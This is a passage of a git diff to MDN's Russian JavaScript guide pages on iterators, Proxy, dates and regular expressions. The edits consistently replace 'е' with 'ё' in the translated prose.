концепцию перебора непосредственно в ядро языка и обеспечивают механизм настройки поведения <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of" title="en/Core_JavaScript_1.5_Reference/Statements/for...in">for...of</a></code> циклов.</p> <p>Подробнее см. также:</p> @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Guide/Iterators_and_Generators <h2 id="Итераторы">Итераторы</h2> -<p>Объект является итератором, если он умеет обращаться к элементам коллекции по одному за раз, при этом отслеживая свое текущее положение внутри этой последовательности. В JavaScript итератор - это объект, который предоставляет метод next(), возвращающий следующий элемент последовательности. Этот метод возвращает объект с двумя свойствами: done и value.</p> +<p>Объект является итератором, если он умеет обращаться к элементам коллекции по одному за раз, при этом отслеживая своё текущее положение внутри этой последовательности. В JavaScript итератор - это объект, который предоставляет метод next(), возвращающий следующий элемент последовательности. Этот метод возвращает объект с двумя свойствами: done и value.</p> <p>После создания, объект-итератор может быть явно использован, с помощью вызовов метода next().</p> @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Guide/Iterators_and_Generators } }</pre> -<p>После инициализации, метод next() может быть вызван для поочередного доступа к парам ключ-значение в объекте:</p> +<p>После инициализации, метод next() может быть вызван для поочерёдного доступа к парам ключ-значение в объекте:</p> <pre class="brush: js">var it = makeIterator(['yo', 'ya']); console.log(it.next().value); // 'yo' @@ -48,7 +48,7 @@ console.log(it.next().done); // true</pre> <h2 id="Генераторы">Генераторы</h2> -<p>В то время как пользовательские итераторы могут быть весьма полезны, при их программировании требуется уделять серьезное внимание поддержке внутреннего состояния. <strong>{{jsxref("Global_Objects/Generator","Генераторы","","true")}}</strong> предоставляют мощную альтернативу: они позволяют определить алгоритм перебора, написав единственную функцию, которая умеет поддерживать собственное состояние.</p> +<p>В то время как пользовательские итераторы могут быть весьма полезны, при их программировании требуется уделять серьёзное внимание поддержке внутреннего состояния. <strong>{{jsxref("Global_Objects/Generator","Генераторы","","true")}}</strong> предоставляют мощную альтернативу: они позволяют определить алгоритм перебора, написав единственную функцию, которая умеет поддерживать собственное состояние.</p> <p>Генераторы - это специальный тип функции, который работает как фабрика итераторов. Функция становится генератором, если содержит один или более {{jsxref("Operators/yield","yield")}} операторов и использует {{jsxref("Statements/function*","function*")}} синтаксис.</p> @@ -67,7 +67,7 @@ console.log(it.next().value); // 2 <h2 id="Итерируемые_объекты">Итерируемые объекты</h2> -<p>Объект является итерируемым, если в нем определен способ перебора значений, то есть, например, как значения перебираются в конструкции {{jsxref("Statements/for...of", "for..of")}}. Некоторые встроенные типы, такие как {{jsxref("Array")}} или {{jsxref("Map")}}, по умолчанию являются итерируемыми, в то время как другие типы, как, например, {{jsxref("Object")}}, таковыми не являются.</p> +<p>Объект является итерируемым, если в нем определён способ перебора значений, то есть, например, как значения перебираются в конструкции {{jsxref("Statements/for...of", "for..of")}}. Некоторые встроенные типы, такие как {{jsxref("Array")}} или {{jsxref("Map")}}, по умолчанию являются итерируемыми, в то время как другие типы, как, например, {{jsxref("Object")}}, таковыми не являются.</p> <p>Чтобы быть итерируемым, объект обязан реализовать метод <strong>@@iterator</strong>, что означает, что он (или один из объектов выше по <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">цепочке прототипов</a>) обязан иметь свойство с именем {{jsxref("Symbol.iterator")}}:</p> @@ -152,7 +152,7 @@ console.log(sequence.next().value); // 3</pre> <p>Можно заставить генератор выбросить исключение, вызвав его метод {{jsxref("Global_Objects/Generator/throw","throw()")}} и передав в качестве параметра значение исключения, которое должно быть выброшено. Это исключение будет выброшено из текущего приостановленного контекста генератора так, будто текущий приостановленный <code>yield</code> оператор являлся <code>throw</code> оператором.</p> -<p>Если <code>yield</code> оператор не встречается во время обработки выброшенного исключения, то исключение передается выше через вызов <code>throw()</code>, и результатом последующих вызовов <code>next()</code> будет свойство <code>done</code> равное <code>true</code>.</p> +<p>Если <code>yield</code> оператор не встречается во время обработки выброшенного исключения, то исключение передаётся выше через вызов <code>throw()</code>, и результатом последующих вызовов <code>next()</code> будет свойство <code>done</code> равное <code>true</code>.</p> <p>У генераторов есть метод {{jsxref("Global_Objects/Generator/return","return(value)")}}, который возвращает заданное значение и останавливает работу генератора.</p> diff --git a/files/ru/web/javascript/guide/meta_programming/index.html b/files/ru/web/javascript/guide/meta_programming/index.html index 49b3657c4c..d1d84977b8 100644 --- a/files/ru/web/javascript/guide/meta_programming/index.html +++ b/files/ru/web/javascript/guide/meta_programming/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Guide/Meta_programming <h2 id="Объекты_Proxy">Объекты Proxy</h2> -<p>Введенный в ECMAScript 6, объект {{jsxref("Proxy")}} позволяет перехватить и определить пользовательское поведение для определенных операций. Например, получение свойства объекта:</p> +<p>Введённый в ECMAScript 6, объект {{jsxref("Proxy")}} позволяет перехватить и определить пользовательское поведение для определённых операций. Например, получение свойства объекта:</p> <pre class="brush: js">var handler = { get: function(target, name) { @@ -28,7 +28,7 @@ p.a = 1; console.log(p.a, p.b); // 1, 42 </pre> -<p>Объект <code>Proxy</code> определяет <em>target</em> (в данном случае новый пустой объект) и <em>handler</em> - объект в котором реализована особая <em>функция-ловушка</em> <code>get</code>. "Проксированный" таким образом объект, при доступе к его несуществующему свойству вернет не <code>undefined,</code> а числовое значение 42.</p> +<p>Объект <code>Proxy</code> определяет <em>target</em> (в данном случае новый пустой объект) и <em>handler</em> - объект в котором реализована особая <em>функция-ловушка</em> <code>get</code>. "Проксированный" таким образом объект, при доступе к его несуществующему свойству вернёт не <code>undefined,</code> а числовое значение 42.</p> <p>Дополнительные примеры доступны в справочнике {{jsxref("Proxy")}}.</p> @@ -38,7 +38,7 @@ console.log(p.a, p.b); // 1, 42 <dl> <dt>{{jsxref("Global_Objects/Proxy/handler","handler","","true")}} (обработчик)</dt> - <dd>Объект - обертка, содержащий в себе функции-ловушки.</dd> + <dd>Объект - обёртка, содержащий в себе функции-ловушки.</dd> <dt>ловушки (traps)</dt> <dd>Методы, реализующие доступ к свойствам. В своей концепции они аналогичны методам перехвата(hooking) в операционных системах.</dd> <dt>цель (target)</dt> @@ -103,7 +103,7 @@ console.log(p.a, p.b); // 1, 42 <li>Свойство не может быть описано как несуществующее, если оно существует как собственное свойство целевого объекта <code>target</code> и <code>target</code> не расширяем.</li> <li>Свойство не может быть описано как существующее, если оно не существует как собственное свойство целевого объекта <code>target</code> и <code>target</code> не расширяем.</li> <li>Свойство не может быть описано как неизменяемое, если оно не существует как собственное свойство целевого объекта <code>target</code> или если оно существует и является изменяемым, собственным свойством целевого объекта <code>target</code>.</li> - <li>Значение возвращенное методом <code>Object.getOwnPropertyDescriptor(target)</code> может быть применено к целевому объекту через метод <code>Object.defineProperty и э</code>то не вызовет ошибки.</li> + <li>Значение возвращённое методом <code>Object.getOwnPropertyDescriptor(target)</code> может быть применено к целевому объекту через метод <code>Object.defineProperty и э</code>то не вызовет ошибки.</li> </ul> </td> </tr> @@ -117,7 +117,7 @@ console.log(p.a, p.b); // 1, 42 <li>Нельзя добавить новое конфигурируемое свойство, или преобразовать существующее свойство в конфигурируемое, если оно не существует как собственное свойство целевого объекта или не является конфигурируемым.</li> <li>Свойство не может быть неконфигурируемым, если целевой объект имеет соответствующее собственное, конфигурируемое свойство.</li> <li>Если объект имеет свойство соответствующее создаваемому свойству, то <code>Object.defineProperty(target, prop, descriptor)</code> не вызовет ошибки.</li> - <li>В строгом режиме ("use strict";), если обработчик <code>defineProperty</code> вернет <code>false</code>, это вызовет ошибку {{jsxref("TypeError")}}.</li> + <li>В строгом режиме ("use strict";), если обработчик <code>defineProperty</code> вернёт <code>false</code>, это вызовет ошибку {{jsxref("TypeError")}}.</li> </ul> </td> </tr> @@ -141,7 +141,7 @@ console.log(p.a, p.b); // 1, 42 <td> <ul> <li>Значение, возвращаемое для свойства, должно равняться значению соответствующего свойства целевого объекта, если это свойство является доступным только для чтения, неконфигурируемым.</li> - <li>Значение, возвращаемое для свойства, должно равняться <code>undefined,</code> если соответствующее свойство целевого объекта является неконфигурируемым и обернуто в геттер и сеттер, где сеттер равен <code>undefined</code>.</li> + <li>Значение, возвращаемое для свойства, должно равняться <code>undefined,</code> если соответствующее свойство целевого объекта является неконфигурируемым и обёрнуто в геттер и сеттер, где сеттер равен <code>undefined</code>.</li> </ul> </td> </tr> @@ -153,7 +153,7 @@ console.log(p.a, p.b); // 1, 42 <td> <ul> <li>Нельзя изменить значение свойства на значение, отличное от значения соответствующего свойства целевого объекта, если это свойство целевого объекта доступно только для чтения, и является неконфигурируемым.</li> - <li>Нельзя установить значение свойства, если соответствующее свойство целевого объекта является неконфигурируемым, и обернуто в геттер и сеттер, где сеттер равен <code>undefined</code>.</li> + <li>Нельзя установить значение свойства, если соответствующее свойство целевого объекта является неконфигурируемым, и обёрнуто в геттер и сеттер, где сеттер равен <code>undefined</code>.</li> <li>В строгом режиме, возвращение <code>false</code> из обработчика <code>set</code> вызовет ошибку {{jsxref("TypeError")}}.</li> </ul> </td> @@ -203,7 +203,7 @@ console.log(p.a, p.b); // 1, 42 <h2 id="Отзываемый_Proxy">Отзываемый <code>Proxy</code></h2> -<p>Метод {{jsxref("Proxy.revocable()")}} создает отзываемый объект <code>Proxy</code>. Такой прокси объект может быть отозван функцией <code>revoke</code>, которая отключает все ловушки-обработчики. После этого любые операции над прокси объектом вызовут ошибку {{jsxref("TypeError")}}.</p> +<p>Метод {{jsxref("Proxy.revocable()")}} создаёт отзываемый объект <code>Proxy</code>. Такой прокси объект может быть отозван функцией <code>revoke</code>, которая отключает все ловушки-обработчики. После этого любые операции над прокси объектом вызовут ошибку {{jsxref("TypeError")}}.</p> <pre class="brush: js">var revocable = Proxy.revocable({}, { get: function(target, name) { @@ -233,7 +233,7 @@ typeof proxy; // "object", для метода typeof нет лову <h3 id="Улучшенная_функция_apply">Улучшенная функция <code>apply</code></h3> -<p>В ES5 обычно используется метод {{jsxref("Function.prototype.apply()")}} для вызова функции в определенном контексте (с определенным <code>this)</code> и с параметрами, заданными в виде массива (или <a href="/ru/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">массива-подобного объекта</a>).</p> +<p>В ES5 обычно используется метод {{jsxref("Function.prototype.apply()")}} для вызова функции в определённом контексте (с определённым <code>this)</code> и с параметрами, заданными в виде массива (или <a href="/ru/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">массива-подобного объекта</a>).</p> <pre class="brush: js">Function.prototype.apply.call(Math.floor, undefined, [1.75]);</pre> diff --git a/files/ru/web/javascript/guide/numbers_and_dates/index.html b/files/ru/web/javascript/guide/numbers_and_dates/index.html index 09a2f8ee9e..038b00c440 100644 --- a/files/ru/web/javascript/guide/numbers_and_dates/index.html +++ b/files/ru/web/javascript/guide/numbers_and_dates/index.html @@ -24,7 +24,7 @@ translation_of: Web/JavaScript/Guide/Numbers_and_dates 0777 // обрабатывается как восьмеричное в нестрогой форме (511 в десятичной) </pre> -<p>Обратите внимание, что десятичные литералы могут начинаться с нуля (<code>0</code>) за которым следует другая десятичная цифра, но если следующая за нулем цифра меньше 8, то число обрабатывается как восьмеричное.</p> +<p>Обратите внимание, что десятичные литералы могут начинаться с нуля (<code>0</code>) за которым следует другая десятичная цифра, но если следующая за нулём цифра меньше 8, то число обрабатывается как восьмеричное.</p> <h3 id="Двоичные_числа">Двоичные числа</h3> @@ -62,9 +62,9 @@ var negInfiniteNum = Number.NEGATIVE_INFINITY; var notANum = Number.NaN; </pre> -<p>Как видно из примера выше, для получения перечисленных значений, нужно обращаться к свойствам предопределенного глобального объекта <code>Number</code>. Тогда как у экземпляра этого объекта, созданного вами при работе программы, этих свойств не будет. </p> +<p>Как видно из примера выше, для получения перечисленных значений, нужно обращаться к свойствам предопределённого глобального объекта <code>Number</code>. Тогда как у экземпляра этого объекта, созданного вами при работе программы, этих свойств не будет. </p> -<p>В следующей таблице приведен список свойств объекта <code>Number</code>.</p> +<p>В следующей таблице приведён список свойств объекта <code>Number</code>.</p> <table class="standard-table"> <caption>Свойства объекта <code>Number</code></caption> @@ -139,7 +139,7 @@ var notANum = Number.NaN; </tr> <tr> <td>{{jsxref("Number.isNaN()")}}</td> - <td>Определяет, является ли число, переданное в качестве аргумента, {{jsxref("Global_Objects/NaN", "NaN")}} (не числом). Аналогичный, но более надежный метод чем глобальная функция {{jsxref("Global_Objects/isNaN", "isNaN()")}}.</td> + <td>Определяет, является ли число, переданное в качестве аргумента, {{jsxref("Global_Objects/NaN", "NaN")}} (не числом). Аналогичный, но более надёжный метод чем глобальная функция {{jsxref("Global_Objects/isNaN", "isNaN()")}}.</td> </tr> <tr> <td>{{jsxref("Number.isSafeInteger()")}}</td> @@ -280,7 +280,7 @@ var notANum = Number.NaN; <p>Содержимым блока <code>parameters</code> в коде представленном выше, могут выступать любая из следующих конструкций:</p> <ul> - <li>Пусто: создает текущую дату и время. Пример: <code>today = new Date();</code>.</li> + <li>Пусто: создаёт текущую дату и время. Пример: <code>today = new Date();</code>.</li> <li>Текстовая строка, содержащая дату и время в следующем формате: "Месяц день, год часы:минуты:секунды". Например: <code>var Xmas95 = new Date("December 25, 1995 13:30:00")</code>. Если не указать секунды, минуты или часы, то их значение будет принято за 0.</li> <li>Набор целочисленных значений для года, месяца и дня. Например: <code>var Xmas95 = new Date(1995, 11, 25)</code>.</li> <li>Набор целочисленных значений для года, месяца, дня, часов, минут и секунд. Например: <code>var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);</code>.</li> @@ -326,7 +326,7 @@ var notANum = Number.NaN; <pre class="brush: js">var Xmas95 = new Date("December 25, 1995"); </pre> -<p>Тогда <code>Xmas95.getMonth()</code> вернет 11, а <code>Xmas95.getFullYear()</code> вернет 1995.</p> +<p>Тогда <code>Xmas95.getMonth()</code> вернёт 11, а <code>Xmas95.getFullYear()</code> вернёт 1995.</p> <p>Методы <code>getTime</code> и <code>setTime могут быть</code> полезны при сравнении дат. Метод <code>getTime</code> возвращает количество миллисекунд, прошедших с 00:00:00 1 Января, 1970 года.</p> @@ -340,7 +340,7 @@ var daysLeft = (endYear.getTime() - today.getTime()) / msPerDay; var daysLeft = Math.round(daysLeft); // возвращает количество дней, оставшихся до конца года </pre> -<p>Этот пример создает объект <code>Date</code> названный <code>today, который содержит текущую дату и время</code>. Затем, создается вспомогательный <code>Date</code> объект, названный <code>endYear,</code> которому устанавливаются значения, указывающие на конец года. После этого, при помощи рассчитанного количества миллисекунд в сутках, вычисляется количество дней между <code>today</code> и <code>endYear</code>, При этом используются метод <code>getTime</code> и округление, для получения количества полных дней.</p> +<p>Этот пример создаёт объект <code>Date</code> названный <code>today, который содержит текущую дату и время</code>. Затем, создаётся вспомогательный <code>Date</code> объект, названный <code>endYear,</code> которому устанавливаются значения, указывающие на конец года. После этого, при помощи рассчитанного количества миллисекунд в сутках, вычисляется количество дней между <code>today</code> и <code>endYear</code>, При этом используются метод <code>getTime</code> и округление, для получения количества полных дней.</p> <p>Метод <code>parse</code> полезен для присвоения значений существующим объектам <code>Date</code> из текстового формата. Например, следующий код использует методы <code>parse</code> и <code>setTime</code> чтобы установить значение переменной <code>IPOdate</code>:</p> @@ -367,11 +367,11 @@ IPOdate.setTime(Date.parse("Aug 9, 1995")); } </pre> -<p>Первым делом, функция JSClock создает новый объект <code>Date</code>, названный <code>time</code>; так как объект создается баз параметров, переменная <code>time </code>содержит текущую дату и время. Затем вызываются методы <code>getHours</code>, <code>getMinutes </code>и <code>getSeconds</code>, чтобы установить значения переменным <code>hour</code>, <code>minute </code>и <code>second</code>.</p> +<p>Первым делом, функция JSClock создаёт новый объект <code>Date</code>, названный <code>time</code>; так как объект создаётся баз параметров, переменная <code>time </code>содержит текущую дату и время. Затем вызываются методы <code>getHours</code>, <code>getMinutes </code>и <code>getSeconds</code>, чтобы установить значения переменным <code>hour</code>, <code>minute </code>и <code>second</code>.</p> -<p>Следующие четыре выражения строят текстовую строку на основе time. Первое из них создает переменную <code>temp</code>, присваивая ей значение при помощи условия; Если <code>hour</code> больше чем 12, то (<code>hour - 12</code>), иначе просто <code>hour.</code> В случае же, когда <code>hour</code> равно 0, берется фиксированное значение "12".</p> +<p>Следующие четыре выражения строят текстовую строку на основе time. Первое из них создаёт переменную <code>temp</code>, присваивая ей значение при помощи условия; Если <code>hour</code> больше чем 12, то (<code>hour - 12</code>), иначе просто <code>hour.</code> В случае же, когда <code>hour</code> равно 0, берётся фиксированное значение "12".</p> -<p>Следующее выражение приращивает минуты к переменной <code>temp</code>. Если количество минут меньше 10, то условное выражение добавляет строку с двоеточием и заполняющим нулем, иначе, просто строку с двоеточием. Секунды приращиваются к переменной <code>temp</code> тем же путем.</p> +<p>Следующее выражение приращивает минуты к переменной <code>temp</code>. Если количество минут меньше 10, то условное выражение добавляет строку с двоеточием и заполняющим нулём, иначе, просто строку с двоеточием. Секунды приращиваются к переменной <code>temp</code> тем же путем.</p> <p>В завершение всего, последнее условное выражение добавляет строку "P.M." к переменной <code>temp</code> если <code>hour</code> равно или больше 12, иначе, добавляется строка "A.M.".</p> diff --git a/files/ru/web/javascript/guide/regular_expressions/assertions/index.html b/files/ru/web/javascript/guide/regular_expressions/assertions/index.html index 2d04ed19aa..4906966bb8 100644 --- a/files/ru/web/javascript/guide/regular_expressions/assertions/index.html +++ b/files/ru/web/javascript/guide/regular_expressions/assertions/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions --- <p>{{jsSidebar("JavaScript Guide")}}{{draft}}</p> -<p>Проверка (assertion) задает возможность совпадения одним из указанных способов. Проверка может содержать условные выражения, опережающие (look-ahead) и ретроспективные (look-behind) проверки.</p> +<p>Проверка (assertion) задаёт возможность совпадения одним из указанных способов. Проверка может содержать условные выражения, опережающие (look-ahead) и ретроспективные (look-behind) проверки.</p> <h2 id="Типы">Типы</h2> @@ -25,7 +25,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions <td>x(?=y)</td> <td> <p><strong>Опережающая проверка: </strong><code><em>x</em></code> подходит только когда за <code><em>x</em></code> следует <code><em>y</em></code>. Например, /<code>Jack(?=Sprat)/</code> сработает для "Jack" только когда за ним будет "Sprat".<br> - <code>/Jack(?=Sprat|Frost)/</code> подойдет для "Jack" только когда за ним будет "Sprat" или "Frost". Следует заметить, что ни "Sprat" ни "Frost" не будут выданы как часть проверки.</p> + <code>/Jack(?=Sprat|Frost)/</code> подойдёт для "Jack" только когда за ним будет "Sprat" или "Frost". Следует заметить, что ни "Sprat" ни "Frost" не будут выданы как часть проверки.</p> </td> </tr> <tr> @@ -37,13 +37,13 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions <tr> <td>(?<=y)x</td> <td> - <p><strong>Ретроспективная проверка: </strong><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> подходит только когда </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> предшествует </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>y</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span> Например, <code style="font-size: 1rem; letter-spacing: -0.00278rem;">/(?<=Jack)Sprat/</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> сработает для "Sprat" только если перед ним есть "Jack". </span><code>/(?<=Jack|Tom)Sprat/</code> подойдет для "Sprat" если перед ним будут "Jack" или "Tom". Заметим, что ни "Jack" ни "Tom" не будут выданы.</p> + <p><strong>Ретроспективная проверка: </strong><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> подходит только когда </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> предшествует </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>y</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span> Например, <code style="font-size: 1rem; letter-spacing: -0.00278rem;">/(?<=Jack)Sprat/</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> сработает для "Sprat" только если перед ним есть "Jack". </span><code>/(?<=Jack|Tom)Sprat/</code> подойдёт для "Sprat" если перед ним будут "Jack" или "Tom". Заметим, что ни "Jack" ни "Tom" не будут выданы.</p> </td> </tr> <tr> <td>(?<!y)x</td> <td> - <p><strong>Отрицательная ретроспективная проверка: </strong><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> подходит только когда </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> не предшествует </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>y</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span> Например, <code style="font-size: 1rem; letter-spacing: -0.00278rem;">/(?<!-)\d+/</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> сработает для числа в том случае, если перед ним не стоит знак минус. Выполнение кода </span><code>/(?<!-)\d+/.exec('3')</code> выдаст "3". Код <code>/(?<!-)\d+/.exec('-3')</code> ничего не найдет, т.к. перед числом есть знак минус.</p> + <p><strong>Отрицательная ретроспективная проверка: </strong><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> подходит только когда </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> не предшествует </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>y</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span> Например, <code style="font-size: 1rem; letter-spacing: -0.00278rem;">/(?<!-)\d+/</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> сработает для числа в том случае, если перед ним не стоит знак минус. Выполнение кода </span><code>/(?<!-)\d+/.exec('3')</code> выдаст "3". Код <code>/(?<!-)\d+/.exec('-3')</code> ничего не найдёт, т.к. перед числом есть знак минус.</p> </td> </tr> </tbody> diff --git a/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html b/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html index 16df319f96..451d5d78bb 100644 --- a/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html +++ b/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html @@ -48,84 +48,84 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Character_Classes <tr> <td><code>\d</code></td> <td> - <p>Совпадет с любой цифрой (арабский числа). Эквивалентно <code>[0-9]</code>. Например, <code>/\d/</code> или <code>/[0-9]/</code> находит "2" в "B2 is the suite number"..</p> + <p>Совпадёт с любой цифрой (арабский числа). Эквивалентно <code>[0-9]</code>. Например, <code>/\d/</code> или <code>/[0-9]/</code> находит "2" в "B2 is the suite number"..</p> </td> </tr> <tr> <td><code>\D</code></td> <td> - <p>Совпадет с любым символом, который не является цифрой (арабский числа). Эквивалентно <code>[^0-9]</code>. Например, <code>/\D/</code> or <code>/[^0-9]/</code> находит "B" в "B2 is the suite number".</p> + <p>Совпадёт с любым символом, который не является цифрой (арабский числа). Эквивалентно <code>[^0-9]</code>. Например, <code>/\D/</code> or <code>/[^0-9]/</code> находит "B" в "B2 is the suite number".</p> </td> </tr> <tr> <td><code>\w</code></td> <td> - <p>Совпадет с любой буквенно-числовым символом из базового латинского алфавита включая нижнее подчёркивание. Эквивалентно <code>[A-Za-z0-9_]</code>. Например, <code>/\w/</code> находит "a" в "apple", "5" в "$5.28", "3" в "3D" и "m" в "Émanuel".</p> + <p>Совпадёт с любой буквенно-числовым символом из базового латинского алфавита включая нижнее подчёркивание. Эквивалентно <code>[A-Za-z0-9_]</code>. Например, <code>/\w/</code> находит "a" в "apple", "5" в "$5.28", "3" в "3D" и "m" в "Émanuel".</p> </td> </tr> <tr> <td><code>\W</code></td> <td> - <p>Совпадет с любой буквенно-числовым, которое не является символом базового латинского алфавита, так же исключая нижнее подчёркивание. Эквивалентно <code>[^A-Za-z0-9_]</code>. Например, <code>/\W/</code> или <code>/[^A-Za-z0-9_]/</code> находит "%" в "50%" и "É" in "Émanuel".</p> + <p>Совпадёт с любой буквенно-числовым, которое не является символом базового латинского алфавита, так же исключая нижнее подчёркивание. Эквивалентно <code>[^A-Za-z0-9_]</code>. Например, <code>/\W/</code> или <code>/[^A-Za-z0-9_]/</code> находит "%" в "50%" и "É" in "Émanuel".</p> </td> </tr> <tr> <td><code>\s</code></td> <td> - <p>Совпадет с любым пробельным символом, включая пробел, символ табуляции, символ подачи страницы, символ подачи строки и другие Unicode пробелы. Эквивалентно <code>[ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. Например, <code>/\s\w*/</code> находит " bar" в "foo bar".</p> + <p>Совпадёт с любым пробельным символом, включая пробел, символ табуляции, символ подачи страницы, символ подачи строки и другие Unicode пробелы. Эквивалентно <code>[ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. Например, <code>/\s\w*/</code> находит " bar" в "foo bar".</p> </td> </tr> <tr> <td><code>\S</code></td> <td> - <p>Совпадет с любым символом, не являющимся пробельным. Эквивалентно <code>[^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. Например, <code>/\S\w*/</code> находит "foo" в "foo bar".</p> + <p>Совпадёт с любым символом, не являющимся пробельным. Эквивалентно <code>[^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. Например, <code>/\S\w*/</code> находит "foo" в "foo bar".</p> </td> </tr> <tr> <td><code>\t</code></td> - <td>Совпадет с символом горизонтальной табуляции.</td> + <td>Совпадёт с символом горизонтальной табуляции.</td> </tr> <tr> <td><code>\r</code></td> - <td>Совпадет с символом возврата каретки.</td> + <td>Совпадёт с символом возврата каретки.</td> </tr> <tr> <td><code>\n</code></td> - <td>Совпадет с символом подачи строки.</td> + <td>Совпадёт с символом подачи строки.</td> </tr> <tr> <td><code>\v</code></td> - <td>Совпадет с символом вертикальной табуляции</td> + <td>Совпадёт с символом вертикальной табуляции</td> </tr> <tr> <td><code>\f</code></td> - <td>Совпадет с символом подачи страницы (формы).</td> + <td>Совпадёт с символом подачи страницы (формы).</td> </tr> <tr> <td><code>[\b]</code></td> - <td>Совпадет с символом возврат назад (англ. backspace). Если вы ищите символ границы слова (<code>\b</code>), смотри <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Boundaries">Границы</a>.</td> + <td>Совпадёт с символом возврат назад (англ. backspace). Если вы ищите символ границы слова (<code>\b</code>), смотри <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Boundaries">Границы</a>.</td> </tr> <tr> <td><code>\0</code></td> - <td>Совпадет с символом NUL character. Не используйте другую цифру.</td> + <td>Совпадёт с символом NUL character. Не используйте другую цифру.</td> </tr> <tr> <td><code>\c<em>X</em></code></td> <td> - <p>Совпадет с контрольным символом using <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%80%D0%B5%D1%82%D0%BD%D0%B0%D1%8F_%D0%BD%D0%BE%D1%82%D0%B0%D1%86%D0%B8%D1%8F">каретную нотацию</a>, где "X" буква A–Z (соответствует кодам <code>U+0001</code><em>–</em><code>U+001F</code>). For example, <code>/\cM/</code> matches "\r" in "\r\n".</p> + <p>Совпадёт с контрольным символом using <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%80%D0%B5%D1%82%D0%BD%D0%B0%D1%8F_%D0%BD%D0%BE%D1%82%D0%B0%D1%86%D0%B8%D1%8F">каретную нотацию</a>, где "X" буква A–Z (соответствует кодам <code>U+0001</code><em>–</em><code>U+001F</code>). For example, <code>/\cM/</code> matches "\r" in "\r\n".</p> </td> </tr> <tr> <td><code>\x<em>hh</em></code></td> - <td>Совпадет с символом, код которого <code><em>hh</em></code> (две шестнадцатеричных цифры).</td> + <td>Совпадёт с символом, код которого <code><em>hh</em></code> (две шестнадцатеричных цифры).</td> </tr> <tr> <td><code>\u<em>hhhh</em></code></td> - <td>Совпадет с код-блоком UTF-16 со значением <code><em>hhhh</em></code> (четыре шестнадцатеричных цифры).</td> + <td>Совпадёт с код-блоком UTF-16 со значением <code><em>hhhh</em></code> (четыре шестнадцатеричных цифры).</td> </tr> <tr> <td><code>\u<em>{hhhh} </em>or <em>\u{hhhhh}</em></code></td> - <td>(Только когда установлен флаг <code>u</code>.) Совпадет с Unicode символом со значением <code>U+<em>hhhh</em></code> или <code>U+<em>hhhhh</em></code> (шестнадцатеричные цифры).</td> + <td>(Только когда установлен флаг <code>u</code>.) Совпадёт с Unicode символом со значением <code>U+<em>hhhh</em></code> или <code>U+<em>hhhhh</em></code> (шестнадцатеричные цифры).</td> </tr> <tr> <td><code>\</code></td> diff --git a/files/ru/web/javascript/guide/regular_expressions/index.html b/files/ru/web/javascript/guide/regular_expressions/index.html index 1769079e27..d6a9f157de 100644 --- a/files/ru/web/javascript/guide/regular_expressions/index.html +++ b/files/ru/web/javascript/guide/regular_expressions/index.html @@ -26,7 +26,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions </pre> </div> - <p>Использование конструктора влечет за собой компиляцию регулярного выражения во время исполнения скрипта. Используйте данный способ, если знаете, что выражение будет изменяться или не знаете шаблон заранее. Например вы получаете его из стороннего источника, при пользовательском вводе.</p> + <p>Использование конструктора влечёт за собой компиляцию 